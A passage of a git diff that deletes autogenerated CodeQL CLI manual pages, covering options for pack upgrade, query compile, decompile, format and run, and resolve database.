verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-upgrade.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-upgrade.md deleted file mode 100644 index eef9beb7fb19..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-upgrade.md +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: pack upgrade -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - Update the dependencies for this pack to the latest - available versions. -redirect_from: - - /code-security/codeql-cli/manual/pack-upgrade ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack upgrade [--force] <options>... -- <dir> -``` - -## Description - -Update the dependencies for this pack to the latest available versions. - -This command installs the latest compatible version of each dependency -of the pack, updating the lock file with the newly acquired versions. -Any existing lock file is ignored. - -Available since `v2.6.3`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `-f, --[no-]force` - -Allow overwriting already existing packs. - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -#### `--lock-override=<file>` - -\[Advanced] Specifies an alternate lock file to use as the input to -dependency resolution. - -#### `--lock-output=<file>` - -\[Advanced] Specifies an alternate location to save the lock file -generated by dependency resolution. - -Available since `v2.14.1`. - -#### `--no-strict-mode` - -\[Advanced] Turn off strict mode to avoid a warning when resolving -packages from the `--additional-packs` - -and other locally resolved locations. Packages resolved locally are -never downloaded - -and will not be added to the package lock. - -### Options for resolving QL packs outside of the package registry - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/query-compile.md b/content/code-security/codeql-cli/codeql-cli-manual/query-compile.md deleted file mode 100644 index 4f1415b3dbf9..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/query-compile.md +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: query compile -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Compile or check QL code. -redirect_from: - - /code-security/codeql-cli/manual/query-compile ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql query compile [--check-only] [--keep-going] [--threads=<num>] [--ram=<MB>] <options>... -- <file>... -``` - -## Description - -Compile or check QL code. - -Compile one or more queries. Usually the main outcome of this command is -that the compiled version of the query is written to a _compilation -cache_ where it will be found when the query is later executed. Other -output options are mostly for debugging. - -## Options - -### Primary Options - -#### `<file>...` - -\[Mandatory] Queries to compile. Each argument is one of: - -* A .ql file to compile. -* A directory which will be searched recursively for .ql files. -* A .qls file that defines a particular set of queries. -* The basename of a "well-known" .qls file exported by one of the - installed QL packs. - -#### `-n, --check-only` - -Just check that the QL is valid and print any errors; do not actually -optimize and store a query plan. This can be much faster than a full -compilation. - -#### `--[no-]precompile` - -\[Advanced] Save each compiled query as a binary `.qlx` file next to -the `.ql` source. - -This is only supposed to be used while preparing a query pack for -distribution (in which case it is used automatically by [codeql pack publish](/code-security/codeql-cli/codeql-cli-manual/pack-publish)). Once the `.qlx` files exist, later commands that execute queries may ignore -changes to the QL source in favor of the precompiled version. - -Some rarely used compilation options are incompatible with this and will -lead to a run-time error. - -Available since `v2.12.0`. - -#### `--[no-]dump-dil` - -\[Advanced] Print the optimized DIL intermediate representation to -standard output while compiling. - -When JSON output is selected, the DIL will be represented as an array of -single-line strings, with some wrapping to identify which query is being -compiled. - -#### `-k, --[no-]keep-going` - -Keep going with compilation even if an error is found. - -#### `--[no-]dump-ra` - -\[Advanced] Print the optimized RA query plan to standard output while -compiling. - -When JSON output is selected, the RA will be represented as an array of -single-line strings, with some wrapping to identify which query is being -compiled. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `-j, --threads=<num>` - -Use this many threads to compile queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Set total amount of RAM the compiler should be allowed to use. - -### QL variant and compiler control options - -#### `--warnings=<mode>` - -How to handle warnings from the QL compiler. One of: - -`hide`: Suppress warnings. - -`show` _(default)_: Print warnings but continue with compilation. - -`error`: Treat warnings as errors. - -#### `--no-debug-info` - -Don't emit source location info in RA for debugging. - -#### `--[no-]fast-compilation` - -\[Deprecated] \[Advanced] Omit particularly slow optimization steps. - -#### `--no-release-compatibility` - -\[Advanced] Use the newest compiler features, at the cost of -portability. - -From time to time, new QL language features and evaluator optimizations -will be supported by the QL evaluator a few releases before they are -enabled by default in the QL compiler. This helps ensure that the -performance you experience when developing queries in the newest CodeQL -release can be matched by slightly older releases that may still be in -use for Code Scanning or CI integrations. - -If you do not care about your queries being compatible with other -(earlier or later) CodeQL releases, you can sometimes achieve a small -amount of extra performance by using this flag to enable recent -improvements in the compiler early. - -In releases where there are no recent improvements to enable, this -option silently does nothing. Thus it is safe to set it once and for all -in your global CodeQL config file. - -Available since `v2.11.1`. - -#### `--[no-]local-checking` - -Only perform initial checks on the part of the QL source that is used. - -#### `--no-metadata-verification` - -Don't check embedded query metadata in QLDoc comments for validity. - -#### `--compilation-cache-size=<MB>` - -\[Advanced] Override the default maximum size for a compilation cache -directory. - -#### `--fail-on-ambiguous-relation-name` - -\[Advanced] Fail compilation if an ambiguous relation name is generated -during compilation. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/query-decompile.md b/content/code-security/codeql-cli/codeql-cli-manual/query-decompile.md deleted file mode 100644 index 6d31a22035ce..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/query-decompile.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: query decompile -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Plumbing] Read an intermediate representation of a compiled query - from a .qlo file. -redirect_from: - - /code-security/codeql-cli/manual/query-decompile ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql query decompile [--output=<file>] <options>... -- <file> -``` - -## Description - -\[Plumbing] Read an intermediate representation of a compiled query -from a .qlo file. - -The code will be written to standard output, unless the `--output` -option is specified. - -## Options - -### Primary Options - -#### `<file>` - -\[Mandatory] QLO file to read from. - -#### `-o, --output=<file>` - -The file to write the desired output to. - -#### `--kind=<kind>` - -The kind of the intermediate representation to read. The options are: - -`dil`: A Datalog intermediate representation. - -`ra`: A relational algebra intermediate representation. This is used by -the query evaluation phase. - -`bytecode`: Show the raw (uncompressed) bytecode from the .qlo file. -Mostly useful for debugging the compiler/evaluator. - -The default is `dil` if the query was compiled with -`--include-dil-in-qlo` and `ra` otherwise - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/query-format.md b/content/code-security/codeql-cli/codeql-cli-manual/query-format.md deleted file mode 100644 index a64189a21527..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/query-format.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: query format -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Autoformat QL source code. -redirect_from: - - /code-security/codeql-cli/manual/query-format ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql query format [--output=<file>] [--in-place] [--backup=<ext>] <options>... -- <file>... -``` - -## Description - -Autoformat QL source code. - -## Options - -### Primary Options - -#### `<file>...` - -One or more `.ql` or `.qll` source files to autoformat. A dash can be -specified to read from standard input. - -#### `-o, --output=<file>` - -Write the formatted QL code to this file instead of the standard output -stream. Must not be given if there is more than one input. - -#### `-i, --[no-]in-place` - -Overwrite each input file with a formatted version of its content. - -#### `--[no-]check-only` - -Instead of writing output, exit with status 1 if any input files -_differ_ from their correct formatting. A message telling which files -differed will be printed to standard error unless you also give `-qq`. - -#### `-b, --backup=<ext>` - -When writing a file that already exists, rename the existing file to a -backup by appending this extension to its name. If the backup file -already exists, it will be silently deleted. - -#### `--no-syntax-errors` - -If an input file is not syntactically correct QL, pretend that it is -already correctly formatted. (Usually such a file causes the command to -terminate with an error message). - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/query-run.md b/content/code-security/codeql-cli/codeql-cli-manual/query-run.md deleted file mode 100644 index 4eee98c55726..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/query-run.md +++ /dev/null @@ -1,411 +0,0 @@ ---- -title: query run -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Run a single query. -redirect_from: - - /code-security/codeql-cli/manual/query-run ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql query run (--database=<database> | --dataset=<dataset>) [--output=<file.bqrs>] [--threads=<num>] [--ram=<MB>] <options>... -- <file.ql> -``` - -## Description - -Run a single query. - -This command runs single query against a CodeQL database or raw QL -dataset. - -By default the result of the query will be displayed on the terminal in -a human-friendly rendering. If you want to do further processing of the -results, we strongly recommend using the `--output` option to write the -results to a file in an intermediate binary format, which can then be -unpacked into various more machine-friendly representations by -[codeql bqrs decode](/code-security/codeql-cli/codeql-cli-manual/bqrs-decode). - -If your query produces results in a form that can be interpreted as -source-code alerts, you may find [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) a more convenient way to run it. In particular, [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) can produce output in the SARIF format, which can be used with an variety of alert viewers. - -To run multiple queries in parallel, see [codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries). - -## Options - -### Primary Options - -#### `<file.ql>` - -\[Mandatory] QL source of the query to execute. - -#### `-o, --output=<file.bqrs>` - -A file where to output from the query will be written in BQRS format. - -### Options to select what to query - -Exactly one of these options must be given. - -#### `-d, --database=<database>` - -Path to a CodeQL database to query. - -#### `--dataset=<dataset>` - -\[Advanced] Path to a raw QL dataset to query. - -### Options to control the query evaluator - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options to control RAM usage - -#### `-M, --ram=<MB>` - -The query evaluator will try hard to keep its total memory footprint -below this value. (However, for large databases it is possible that the -threshold may be broken by file-backed memory maps, which can be swapped -to disk in case of memory pressure). - -The value should be at least 2048 MB; smaller values will be -transparently rounded up. - -### Options to control QL compilation - -#### `--warnings=<mode>` - -How to handle warnings from the QL compiler. One of: - -`hide`: Suppress warnings. - -`show` _(default)_: Print warnings but continue with compilation. - -`error`: Treat warnings as errors. - -#### `--no-debug-info` - -Don't emit source location info in RA for debugging. - -#### `--[no-]fast-compilation` - -\[Deprecated] \[Advanced] Omit particularly slow optimization steps. - -#### `--no-release-compatibility` - -\[Advanced] Use the newest compiler features, at the cost of -portability. - -From time to time, new QL language features and evaluator optimizations -will be supported by the QL evaluator a few releases before they are -enabled by default in the QL compiler. This helps ensure that the -performance you experience when developing queries in the newest CodeQL -release can be matched by slightly older releases that may still be in -use for Code Scanning or CI integrations. - -If you do not care about your queries being compatible with other -(earlier or later) CodeQL releases, you can sometimes achieve a small -amount of extra performance by using this flag to enable recent -improvements in the compiler early. - -In releases where there are no recent improvements to enable, this -option silently does nothing. Thus it is safe to set it once and for all -in your global CodeQL config file. - -Available since `v2.11.1`. - -#### `--[no-]local-checking` - -Only perform initial checks on the part of the QL source that is used. - -#### `--no-metadata-verification` - -Don't check embedded query metadata in QLDoc comments for validity. - -#### `--compilation-cache-size=<MB>` - -\[Advanced] Override the default maximum size for a compilation cache -directory. - -#### `--fail-on-ambiguous-relation-name` - -\[Advanced] Fail compilation if an ambiguous relation name is generated -during compilation. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Options to control the extension packs - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-database.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-database.md deleted file mode 100644 index 27067d687b1f..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-database.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: resolve database -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Report metadata about the database.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-database ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve database <options>... -- <database> -``` - -## Description - -\[Deep plumbing] Report metadata about the database. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] The database for which to load the metadata. - -#### `--format=<fmt>` - -Select output format. Choices include: - -`json`: print it as a JSON string, or 'null' if the language was not -found. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - 